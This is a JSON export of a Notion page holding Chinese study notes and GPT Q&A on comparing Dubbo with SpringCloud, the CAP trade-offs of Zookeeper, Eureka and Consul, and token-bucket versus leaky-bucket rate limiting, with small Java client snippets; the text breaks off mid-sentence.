Jackson"]]},"content":["9b9a2d9e-f277-495e-bd1c-826644163b50","9c538c8f-ead1-4ddc-ab9d-4f9a32c5ea72"],"created_time":1712457713570,"last_edited_time":1712457713573,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"58f8202a-ad28-4a87-a983-4f8d39d514da":{"value":{"id":"58f8202a-ad28-4a87-a983-4f8d39d514da","type":"text","properties":{"title":[["总的来说,Dubbo协议和Hessian更适合用于服务间的高效调用,而HTTP协议和Jackson更适合用于Web开发,通过HTTP协议传输数据。选择哪一种取决于项目的具体需求和场景。"]]},"created_time":1712457713570,"last_edited_time":1712457713573,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"eb9d3a1f-f248-4a6e-aef1-45d671d6079d":{"value":{"id":"eb9d3a1f-f248-4a6e-aef1-45d671d6079d","type":"divider","format":{"copied_from_pointer":{"id":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712458535771,"last_edited_time":1712458535783,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e"}},"c08ec9c8-1431-424a-a82d-446b6361fb10":{"value":{"id":"c08ec9c8-1431-424a-a82d-446b6361fb10","type":"text","created_time":1712458539819,"last_edited_time":1712458539819,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e8167967-17d3-4317-9af8-e385a0d021be":{"value":{"id":"e8167967-17d3-4317-9af8-e385a0d021be","type":"quote","properties":{"title":[["Zookeeper,Eureka,Consul比较。ap,cp都一样吗"]]},"created_time":1712457903468,"last_edited_time":1712458320637,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"cd0231c4-719c-4d6e-bf67-f16a6b670555":{"value":{"id":"cd0231c4-719c-4d6e-bf67-f16a6b670555","type":"text","properties":{"title":[["Zookeeper,Eureka,和 Consul 都是服务发现和注册中心的解决方案。但是他们在设计理念、功能特性、数据一致性等方面有所不同。"]]},"created_time":1712457894019,"last_edited_time":1712457894024,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"9997f489-a924-44f7-b989-d31f7addf6df":{"value":{"id":"9997f489-a924-44f7-b989-d31f7addf6df","type":"numbered_list","properties":{"title":[["Zookeeper:"]]},"content":["719e7f25-1ec9-4f81-bfba-6bd7a99f4e84","a8eea927-cc41-4247-8f14-b80c0411c0a0"],"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"a4b987d7-5961-4f6f-b710-fc6e9c6feb19":{"value":{"id":"a4b987d7-5961-4f6f-b710-fc6e9c6feb19","type":"bulleted_list","properties":{"title":[["Dubbo:Dubbo是阿里巴巴开源的一款高性能、轻量级的Java"],[" RPC框架",[["b"]]],[",它的设计更倾向于提供一种通用的服务调用方式。Dubbo主张面向接口编程,服务提供者和服务消费者通过共享的接口进行通信,解耦了服务提供者和服务消费者。"]]},"created_time":1712457406977,"last_edited_time":1712457438305,"parent_id":"d7d4a0ac-86f1-42b5-a2c8-40ec89538f94","parent_table":"block","alive":true}},"c81d6c27-7656-4fdc-a1f5-3b1d6a0fa18e":{"value":{"id":"c81d6c27-7656-4fdc-a1f5-3b1d6a0fa18e","type":"bulleted_list","properties":{"title":[["SpringCloud:SpringCloud是一套"],["微服务解决方案",[["b"]]],[",它是基于SpringBoot提供的一系列框架,包括服务注册与发现、配置中心、消息总线、负载均衡、熔断器、数据监控等,可以快速地构建分布式系统。SpringCloud提倡的是面向RESTful服务的编程,每个微服务都是一个独立的RESTful服务,通过HTTP/HTTPS协议进行通信。"]]},"created_time":1712457406978,"last_edited_time":1712457441676,"parent_id":"d7d4a0ac-86f1-42b5-a2c8-40ec89538f94","parent_table":"block","alive":true}},"8aac3cf9-508d-496c-b8c4-622df6fed3da":{"value":{"id":"8aac3cf9-508d-496c-b8c4-622df6fed3da","type":"bulleted_list","properties":{"title":[["Dubbo:Dubbo使用的是"],["Zookeeper作为服务注册中心",[["b"]]],[",使用"],["Dubbo协议",[["b"]]],["进行通信,使用"],["Hessian进行序列化",[["b"]]],["。"]]},"created_time":1712457406978,"last_edited_time":1712457480193,"parent_id":"193c077b-6ed4-4cbc-a38e-9b358df2dcef","parent_table":"block","alive":true}},"44c3d9d4-5756-4d8c-ac2a-279e542f9be9":{"value":{"id":"44c3d9d4-5756-4d8c-ac2a-279e542f9be9","type":"bulleted_list","properties":{"title":[["SpringCloud:SpringCloud使用的是Eureka或Consul作为服务注册中心,使用HTTP/HTTPS协议进行通信,使用Jackson进行序列化。"]]},"created_time":1712457406978,"last_edited_time":1712457406982,"parent_id":"193c077b-6ed4-4cbc-a38e-9b358df2dcef","parent_table":"block","alive":true}},"59ca3f6d-6e20-4ebb-8bde-f02e8ba1e8a2":{"value":{"id":"59ca3f6d-6e20-4ebb-8bde-f02e8ba1e8a2","type":"bulleted_list","properties":{"title":[["Dubbo:Dubbo的开发和维护主要由阿里巴巴的团队负责,社区活跃度相对较低。"]]},"created_time":1712457406978,"last_edited_time":1712457406982,"parent_id":"a9ca73a2-ae58-48dd-9ecb-d209d8f3e935","parent_table":"block","alive":true}},"739665fd-1fb2-4d58-a128-bf47db90eb67":{"value":{"id":"739665fd-1fb2-4d58-a128-bf47db90eb67","type":"bulleted_list","properties":{"title":[["SpringCloud:SpringCloud是由Pivotal公司开发和维护的,社区活跃度非常高。"]]},"created_time":1712457406979,"last_edited_time":1712457406982,"parent_id":"a9ca73a2-ae58-48dd-9ecb-d209d8f3e935","parent_table":"block","alive":true}},"1eccb6c9-f147-45a1-974b-fede5f785c2b":{"value":{"id":"1eccb6c9-f147-45a1-974b-fede5f785c2b","type":"bulleted_list","properties":{"title":[["Dubbo:Dubbo更适合在一个大型的、统一的系统中使用,比如一个大型的电商系统。"]]},"created_time":1712457406979,"last_edited_time":1712457406982,"parent_id":"23abe9db-9241-43c9-ae12-3ab81e157c64","parent_table":"block","alive":true}},"d5852595-9b56-47a5-a0e7-caf434129e36":{"value":{"id":"d5852595-9b56-47a5-a0e7-caf434129e36","type":"bulleted_list","properties":{"title":[["SpringCloud:SpringCloud更适合在微服务架构中使用,可以快速地构建和维护多个小型的、独立的服务。"]]},"created_time":1712457406979,"last_edited_time":1712457406982,"parent_id":"23abe9db-9241-43c9-ae12-3ab81e157c64","parent_table":"block","alive":true}},"fcc662ea-96fe-487d-993b-e6a8902ed1dc":{"value":{"id":"fcc662ea-96fe-487d-993b-e6a8902ed1dc","type":"bulleted_list","properties":{"title":[["Dubbo协议是一种基于Netty的自定义RPC协议,它是面向服务的,二进制的,更侧重于服务间的高效调用,相比HTTP协议,Dubbo协议在网络传输效率上有优势。"]]},"created_time":1712457713569,"last_edited_time":1712457713573,"parent_id":"01b775f9-c402-4653-8f07-52996a69d0a0","parent_table":"block","alive":true}},"486d38f4-1065-4f5b-8584-ffef4cb1d5d3":{"value":{"id":"486d38f4-1065-4f5b-8584-ffef4cb1d5d3","type":"bulleted_list","properties":{"title":[["HTTP协议是一种基于TCP的应用层协议,它是面向资源的,文本的,提供了丰富的交互方法(如GET,POST,PUT,DELETE等),用途广泛,不仅可以用于服务间的调用,还可以用于浏览器和服务器的交互。"]]},"created_time":1712457713569,"last_edited_time":1712457713573,"parent_id":"01b775f9-c402-4653-8f07-52996a69d0a0","parent_table":"block","alive":true}},"9b9a2d9e-f277-495e-bd1c-826644163b50":{"value":{"id":"9b9a2d9e-f277-495e-bd1c-826644163b50","type":"bulleted_list","properties":{"title":[["Hessian是一种轻量级的远程调用协议,它以二进制流的形式进行数据的序列化与反序列化,数据传输效率高。"]]},"created_time":1712457713570,"last_edited_time":1712457713573,"parent_id":"45913462-0b87-4118-b100-be7cc372a512","parent_table":"block","alive":true}},"9c538c8f-ead1-4ddc-ab9d-4f9a32c5ea72":{"value":{"id":"9c538c8f-ead1-4ddc-ab9d-4f9a32c5ea72","type":"bulleted_list","properties":{"title":[["Jackson是一种基于Java的库,用于将Java对象转换为JSON格式的数据,或者将JSON格式的数据转换为Java对象,主要用于Web开发,通过HTTP协议传输数据。"]]},"created_time":1712457713570,"last_edited_time":1712457713573,"parent_id":"45913462-0b87-4118-b100-be7cc372a512","parent_table":"block","alive":true}},"719e7f25-1ec9-4f81-bfba-6bd7a99f4e84":{"value":{"id":"719e7f25-1ec9-4f81-bfba-6bd7a99f4e84","type":"bulleted_list","properties":{"title":[["Zookeeper 是 Apache 的一个子项目,它是一个分布式的,开放源码的分布式应用程序协调服务,是 Google的 Chubby 的开源实现。它主要用来解决分布式应用中的一致性问题,可以提供基于类似于文件系统的目录节点树方式的数据存储。"]]},"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"9997f489-a924-44f7-b989-d31f7addf6df","parent_table":"block","alive":true}},"a8eea927-cc41-4247-8f14-b80c0411c0a0":{"value":{"id":"a8eea927-cc41-4247-8f14-b80c0411c0a0","type":"bulleted_list","properties":{"title":[["Zookeeper 是 CP 的系统,在 CAP 定理中,Zookeeper 更加偏向于保证数据的一致性和分区容错性,可能牺牲一定的可用性。"]]},"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"9997f489-a924-44f7-b989-d31f7addf6df","parent_table":"block","alive":true}},"409d1819-249e-4544-b27a-b4f4ed746f39":{"value":{"id":"409d1819-249e-4544-b27a-b4f4ed746f39","type":"numbered_list","properties":{"title":[["Eureka:"]]},"content":["8b3dd25e-4bb5-4871-b6fd-fa2766eda8ee","ff5da217-fca3-479d-90fb-95c0cba06817"],"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2d0d08ce-bd8f-4f68-aa1b-bf61ea043b97":{"value":{"id":"2d0d08ce-bd8f-4f68-aa1b-bf61ea043b97","type":"numbered_list","properties":{"title":[["Consul:"]]},"content":["8fd16bd2-0ae9-40e0-a9e0-6885b5aab220","99d66e47-cc04-477c-be01-24ada693e580"],"created_time":1712457894021,"last_edited_time":1712457894024,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"c80c5bd0-86b6-4bb5-a798-673aa4c939af":{"value":{"id":"c80c5bd0-86b6-4bb5-a798-673aa4c939af","type":"text","properties":{"title":[["总的来说,Zookeeper,Eureka,和 Consul 在 AP(Availability,Partition tolerance)和 AC(Atomicity,Consistency)的取舍上是有差异的。在 CAP 理论中,一个分布式系统无法同时满足一致性,可用性和分区容错性,只能满足其中的两项。"],["Zookeeper 和 Consul 更偏重于一致性,而 Eureka 则更偏重于可用性",[["b"]]],["。"]]},"created_time":1712457894021,"last_edited_time":1712457920009,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4ce569b2-d8c1-4cdc-959a-0680a67994c0":{"value":{"id":"4ce569b2-d8c1-4cdc-959a-0680a67994c0","type":"divider","format":{"copied_from_pointer":{"id":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712458543644,"last_edited_time":1712458543646,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e"}},"84a376d9-f5e0-492f-8754-845f99b03dcf":{"value":{"id":"84a376d9-f5e0-492f-8754-845f99b03dcf","type":"text","created_time":1712458215139,"last_edited_time":1712458215139,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"707824a3-8aa4-41c6-bd49-9022d6d5d778":{"value":{"id":"707824a3-8aa4-41c6-bd49-9022d6d5d778","type":"quote","properties":{"title":[["为什么Zookeeper 和 Consul 更偏重于一致性,而 Eureka 则更偏重于可用性。把底层实现细节给我说下,用java代码"]]},"created_time":1712458218188,"last_edited_time":1712458318876,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4d90b249-0bb4-4096-bfa2-6507b9c8a31e":{"value":{"id":"4d90b249-0bb4-4096-bfa2-6507b9c8a31e","type":"text","properties":{"title":[["在 CAP 理论中,一致性 (Consistency)、可用性 (Availability) 和分区容错性 (Partition tolerance) 是无法同时满足的。这表示在面临网络分区 (Partition) 的情况下,我们需要在一致性和可用性之间做出选择。在这种情况下,ZooKeeper 和 Consul 选择了一致性,而 Eureka 则选择了可用性。"]]},"created_time":1712458228145,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"064c5e1c-dffe-45f4-9117-e43e50c909bd":{"value":{"id":"064c5e1c-dffe-45f4-9117-e43e50c909bd","type":"numbered_list","properties":{"title":[["ZooKeeper 和 Consul:"]]},"content":["3b90cc74-4e31-4172-bc12-7732acffdeea","c8a17da9-2e6d-4ed6-ac58-ba1883d85379"],"created_time":1712458228146,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"138fbb54-b075-4d0d-9441-ab4d4e21ffef":{"value":{"id":"138fbb54-b075-4d0d-9441-ab4d4e21ffef","type":"numbered_list","properties":{"title":[["Eureka:"]]},"content":["56e1f8ff-f90a-4cb4-b121-829393e07caa","beaa214b-e578-488b-b1e6-1c46ec692d56"],"created_time":1712458228146,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"aa23ef44-e8a0-47e2-a58a-c1297176bb95":{"value":{"id":"aa23ef44-e8a0-47e2-a58a-c1297176bb95","type":"text","properties":{"title":[["下面是一段简单的 Java 代码,用于说明 ZooKeeper 和 Consul 的一致性操作:"]]},"created_time":1712458228146,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"80191352-3b19-4027-8053-320d264d6cfe":{"value":{"id":"80191352-3b19-4027-8053-320d264d6cfe","type":"code","properties":{"title":[["public void createNode(String path, byte[] data) throws Exception {\n zookeeper.create(path, data, ZooDefs.Ids.OPEN_ACL_UNSAFE, CreateMode.PERSISTENT);\n}\n\npublic void setData(String path, byte[] data) throws Exception {\n zookeeper.setData(path, data, -1);\n}\n\npublic byte[] getData(String path) throws Exception {\n return zookeeper.getData(path, false, null);\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712458228150,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8fb1ac88-e13a-45a7-9557-a8580e890c4c":{"value":{"id":"8fb1ac88-e13a-45a7-9557-a8580e890c4c","type":"text","properties":{"title":[["在这段代码中,"],["create",[["c"]]],[", "],["setData",[["c"]]],[" 和 "],["getData",[["c"]]],[" 操作都需要在多数节点上达成一致,才能被视为成功。"]]},"created_time":1712458228150,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"0edfbae9-636a-418a-b4a9-dcb6bd255746":{"value":{"id":"0edfbae9-636a-418a-b4a9-dcb6bd255746","type":"text","properties":{"title":[["而 Eureka 的可用性操作可以用以下的 Java 代码表示:"]]},"created_time":1712458228150,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"499b2350-1b74-4204-a652-abef0cbf1c83":{"value":{"id":"499b2350-1b74-4204-a652-abef0cbf1c83","type":"code","properties":{"title":[["public void registerInstance(String appName, InstanceInfo instanceInfo) throws EurekaException {\n eurekaClient.registerInstance(appName, instanceInfo);\n}\n\npublic InstanceInfo getInstance(String appName, String id) throws EurekaException {\n return eurekaClient.getInstance(appName, id);\n}\n"]],"language":[["Java"]]},"format":{"code_wrap":true},"created_time":1712458228150,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"08b67ec1-f6dc-4d27-8179-01e34cb2ee4d":{"value":{"id":"08b67ec1-f6dc-4d27-8179-01e34cb2ee4d","type":"text","properties":{"title":[["在这段代码中,"],["registerInstance",[["c"]]],[" 和 "],["getInstance",[["c"]]],[" 操作都不需要在多数节点上达成一致,因此能够在网络分区的情况下继续提供服务。"]]},"created_time":1712458228150,"last_edited_time":1712458228156,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"26f43f56-988b-4c11-8b83-55f7a0683c25":{"value":{"id":"26f43f56-988b-4c11-8b83-55f7a0683c25","type":"divider","format":{"copied_from_pointer":{"id":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712458548831,"last_edited_time":1712458548832,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e"}},"15d43009-caa0-4edd-83d0-6832b7d97cc8":{"value":{"id":"15d43009-caa0-4edd-83d0-6832b7d97cc8","type":"text","created_time":1712458470388,"last_edited_time":1712458470388,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"989f2dd1-4c6c-4f1e-8d91-12258b3310aa":{"value":{"id":"989f2dd1-4c6c-4f1e-8d91-12258b3310aa","type":"quote","properties":{"title":[["dubbo适合大型的、统一的系统中使用,比如一个大型的电商系统。就是出于CAP理论的考察对吗"]]},"created_time":1712458472251,"last_edited_time":1712458473185,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"ce1cbe34-1f44-4ecb-95a0-f6a0a31b76a8":{"value":{"id":"ce1cbe34-1f44-4ecb-95a0-f6a0a31b76a8","type":"text","properties":{"title":[["Dubbo 是一款高性能的 Java RPC 框架,其主要设计目标是用于构建高性能和可扩展性强的服务端同步调用或异步调用。"]]},"created_time":1712458477355,"last_edited_time":1712458477359,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"4924ea3c-f339-4a7c-9173-2eb7c6c3a7bc":{"value":{"id":"4924ea3c-f339-4a7c-9173-2eb7c6c3a7bc","type":"text","properties":{"title":[["Dubbo 在选择 CAP 理论的时候,更倾向于选择 CP(一致性和分区容错性),优先保证数据的一致性以及系统的分区容错性。"]]},"created_time":1712458477356,"last_edited_time":1712458477359,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"5de62780-8f62-4de9-b165-d1ab2e0ee600":{"value":{"id":"5de62780-8f62-4de9-b165-d1ab2e0ee600","type":"text","properties":{"title":[["在大型的、统一的系统中,确保数据的一致性显得尤为重要,因为数据的不一致性可能会导致一些严重的问题,如订单数据不一致、库存数据不一致等。此外,大型的系统往往需要处理大量的请求,系统的可扩展性和性能也是非常重要的,而 Dubbo 的设计正好可以满足这些需求。"]]},"created_time":1712458477356,"last_edited_time":1712458477359,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"48a626ec-52c4-4994-accb-4feab9ce24ad":{"value":{"id":"48a626ec-52c4-4994-accb-4feab9ce24ad","type":"text","properties":{"title":[["但是,是否选择 Dubbo 并不能仅仅从 CAP 理论来考虑,还需要结合具体的业务需求和系统特性。例如,如果你的系统是一个服务间互相独立,对数据一致性要求不高的系统,使用基于 HTTP 的 RESTful API 可能会是一个更好的选择。因为 HTTP 协议简单、成熟,而且可以直接与现代的 Web 技术栈集成。"]]},"created_time":1712458477356,"last_edited_time":1712458477359,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"40ae3b73-8135-4715-85be-efc9ec2ad883":{"value":{"id":"40ae3b73-8135-4715-85be-efc9ec2ad883","type":"divider","format":{"copied_from_pointer":{"id":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712458550826,"last_edited_time":1712458550827,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true,"copied_from":"7db794ad-1695-41d1-9c4e-4f37b0f4f04e"}},"1ac8dbc8-7cbd-4519-8ad3-9c1557e960f5":{"value":{"id":"1ac8dbc8-7cbd-4519-8ad3-9c1557e960f5","type":"sub_sub_header","properties":{"title":[["总结"]]},"created_time":1712458486408,"last_edited_time":1712472321230,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"e19cd5bc-571f-49ab-8fbc-fc08629f8cd5":{"value":{"id":"e19cd5bc-571f-49ab-8fbc-fc08629f8cd5","type":"bulleted_list","properties":{"title":[["dubbo的传输协议和序列化协议就对RPC方式更快。"]]},"created_time":1712458686453,"last_edited_time":1712458963175,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"8b3dd25e-4bb5-4871-b6fd-fa2766eda8ee":{"value":{"id":"8b3dd25e-4bb5-4871-b6fd-fa2766eda8ee","type":"bulleted_list","properties":{"title":[["Eureka 是 Netflix 开源的服务发现框架,主要用在云计算中,用以解决微服务架构中的服务发现问题。它的客户端同时也是服务端,这种设计哲学就是服务治理的核心所在。"]]},"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"409d1819-249e-4544-b27a-b4f4ed746f39","parent_table":"block","alive":true}},"ff5da217-fca3-479d-90fb-95c0cba06817":{"value":{"id":"ff5da217-fca3-479d-90fb-95c0cba06817","type":"bulleted_list","properties":{"title":[["Eureka 是 AP 的系统,在 CAP 定理中,Eureka 更加偏向于保证可用性,即使在网络分区的情况下,Eureka 也不会拒绝服务注册与发现,可能会牺牲一定的数据一致性。"]]},"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"409d1819-249e-4544-b27a-b4f4ed746f39","parent_table":"block","alive":true}},"8fd16bd2-0ae9-40e0-a9e0-6885b5aab220":{"value":{"id":"8fd16bd2-0ae9-40e0-a9e0-6885b5aab220","type":"bulleted_list","properties":{"title":[["Consul 是 HashiCorp 公司推出的开源工具,提供服务发现和配置。Consul 是分布式的,高可用的,具有数据中心感知能力的服务发现和配置系统。Consul 更像是综合了 Zookeeper 和 Eureka 的功能特性,既可以作为服务发现注册中心,又提供了健康检查的功能。"]]},"created_time":1712457894020,"last_edited_time":1712457894024,"parent_id":"2d0d08ce-bd8f-4f68-aa1b-bf61ea043b97","parent_table":"block","alive":true}},"99d66e47-cc04-477c-be01-24ada693e580":{"value":{"id":"99d66e47-cc04-477c-be01-24ada693e580","type":"bulleted_list","properties":{"title":[["Consul 是 CP 的系统,在 CAP 定理中,Consul 更加偏向于保证数据一致性和分区容错性,但是在极端情况下,可能会牺牲一定的可用性。"]]},"created_time":1712457894021,"last_edited_time":1712457894024,"parent_id":"2d0d08ce-bd8f-4f68-aa1b-bf61ea043b97","parent_table":"block","alive":true}},"3b90cc74-4e31-4172-bc12-7732acffdeea":{"value":{"id":"3b90cc74-4e31-4172-bc12-7732acffdeea","type":"text","properties":{"title":[["ZooKeeper 和 Consul 使用了 Raft 或 Paxos 等"],["强一致性算法",[["b"]]],["来保证在分布式环境中数据的一致性。在这些算法中,大部分的操作都需要经过多数节点的确认,才能够被视为成功。例如,在一个五个节点的集群中,任何操作都需要至少三个节点确认。这确保了即使在网络分区的情况下,只要大多数的节点能够正常通信,系统就能够继续提供一致性的服务。"]]},"created_time":1712458228146,"last_edited_time":1712458249705,"parent_id":"064c5e1c-dffe-45f4-9117-e43e50c909bd","parent_table":"block","alive":true}},"c8a17da9-2e6d-4ed6-ac58-ba1883d85379":{"value":{"id":"c8a17da9-2e6d-4ed6-ac58-ba1883d85379","type":"text","properties":{"title":[["这种做法的代价就是可用性。如果因为网络分区或者其他原因,导致无法获得大多数节点的确认,那么操作就会被阻塞,系统无法对外提供服务。"]]},"created_time":1712458228146,"last_edited_time":1712458228156,"parent_id":"064c5e1c-dffe-45f4-9117-e43e50c909bd","parent_table":"block","alive":true}},"56e1f8ff-f90a-4cb4-b121-829393e07caa":{"value":{"id":"56e1f8ff-f90a-4cb4-b121-829393e07caa","type":"text","properties":{"title":[["Eureka 选择了另外一种方式,即在网络分区的情况下,优先保证可用性。Eureka 的服务注册中心对于客户端注册的信息并不会立即同步到其他节点,而是通过定期的方式进行同步。这种方式在网络分区的情况下,每个节点都可以独立的对外提供服务,从而保证了高可用。"]]},"created_time":1712458228146,"last_edited_time":1712458228156,"parent_id":"138fbb54-b075-4d0d-9441-ab4d4e21ffef","parent_table":"block","alive":true}},"beaa214b-e578-488b-b1e6-1c46ec692d56":{"value":{"id":"beaa214b-e578-488b-b1e6-1c46ec692d56","type":"text","properties":{"title":[["但是,这种做法的代价就是一致性。在网络分区的情况下,各个节点之间的数据可能会出现不一致的情况。"]]},"created_time":1712458228146,"last_edited_time":1712458228156,"parent_id":"138fbb54-b075-4d0d-9441-ab4d4e21ffef","parent_table":"block","alive":true}},"1d79ce45-1106-4ab6-b13f-642ba2b2c52a":{"value":{"id":"1d79ce45-1106-4ab6-b13f-642ba2b2c52a","type":"bulleted_list","properties":{"title":[["http和https的协议可以完美的调用已有的服务,比如python服务,只要你有web端点我就可以调用。"]]},"created_time":1712458848734,"last_edited_time":1712458961865,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"9d88c19c-3906-4462-8d0f-4f91525c6fde":{"value":{"id":"9d88c19c-3906-4462-8d0f-4f91525c6fde","type":"bulleted_list","properties":{"title":[["zookeeper是CP的,以为着适合一致性要求更高的服务。"]]},"created_time":1712458905860,"last_edited_time":1712458958023,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"d598224d-949c-4e30-bf97-c68dd43ff061":{"value":{"id":"d598224d-949c-4e30-bf97-c68dd43ff061","type":"bulleted_list","properties":{"title":[["cloud可供选择嘛,AP和CP都有。"]]},"created_time":1712458958181,"last_edited_time":1712458989006,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"29b7c7ec-281f-4894-8449-70b098c4d366":{"value":{"id":"29b7c7ec-281f-4894-8449-70b098c4d366","type":"bulleted_list","properties":{"title":[["刚开的项目架构合理,需要一致性强那么就用dubbo。老项目改造用springCloud没有那么麻烦"]]},"created_time":1712458994628,"last_edited_time":1712459038073,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"70634efc-b1df-4cff-ae45-4569354ae08d":{"value":{"id":"70634efc-b1df-4cff-ae45-4569354ae08d","type":"text","created_time":1712458670794,"last_edited_time":1712458670794,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"65662554-832e-4ed9-b000-f8018d2a93bf":{"value":{"id":"65662554-832e-4ed9-b000-f8018d2a93bf","type":"sub_header","properties":{"title":[["3.限流算法中的令牌跟漏斗区别"]]},"created_time":1712334358600,"last_edited_time":1712457951261,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"2f3d7cc0-f08d-4bb0-b512-d95e7138a7a4":{"value":{"id":"2f3d7cc0-f08d-4bb0-b512-d95e7138a7a4","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"created_time":1712460765652,"last_edited_time":1712472323916,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"bf757fa2-6437-4d95-a797-63b2c01d5e12":{"value":{"id":"bf757fa2-6437-4d95-a797-63b2c01d5e12","type":"quote","properties":{"title":[["限流算法中的令牌跟漏斗区别"]]},"created_time":1712460781180,"last_edited_time":1712460783743,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"a59676c7-c9ac-4ac6-b816-dfd7191aaeae":{"value":{"id":"a59676c7-c9ac-4ac6-b816-dfd7191aaeae","type":"text","properties":{"title":[["令牌桶算法(Token Bucket)和漏桶算法(Leaky Bucket)都是网络流量整形(Traffic Shaping)和速率限制(Rate Limiting)中常用的算法。它们的主要目的是控制数据传输的速率,以防止网络拥塞。"]]},"created_time":1712459254009,"last_edited_time":1712459254014,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"dcda87f4-bc3e-4b57-8bf6-04734ef2c649":{"value":{"id":"dcda87f4-bc3e-4b57-8bf6-04734ef2c649","type":"numbered_list","properties":{"title":[["令牌桶算法:"]]},"content":["10057243-e7ea-41e2-964f-b4cc59202237","08b0803f-218e-4e0a-924f-f348f30daeb2"],"created_time":1712459254010,"last_edited_time":1712459254014,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"65b73029-ad7d-4163-a67c-7b57247731be":{"value":{"id":"65b73029-ad7d-4163-a67c-7b57247731be","type":"numbered_list","properties":{"title":[["漏桶算法:"]]},"content":["ccd4f764-ebb5-4119-ab8c-5bcc622a4b13","98fc2489-3d16-4258-bcd2-fbae95e7eae4"],"created_time":1712459254010,"last_edited_time":1712459254014,"parent_id":"63830328-e0f0-477a-b327-bc4ab921f89c","parent_table":"block","alive":true}},"50f34710-f078-4e6f-ae3d-5fbd0a817a91":{"value":{"id":"50f34710-f078-4e6f-ae3d-5fbd0a817a91","type":"text","properties":{"title":[["总的来说,令牌桶算法能够更好地处理突发流量,因为当突发流量来临时,只要桶中有足够的令牌,就可以直接发送数据,不会出现丢包的情况;而漏桶算法则更加强调流量的平滑性,它会严格控制数据的发送速度,不允许有突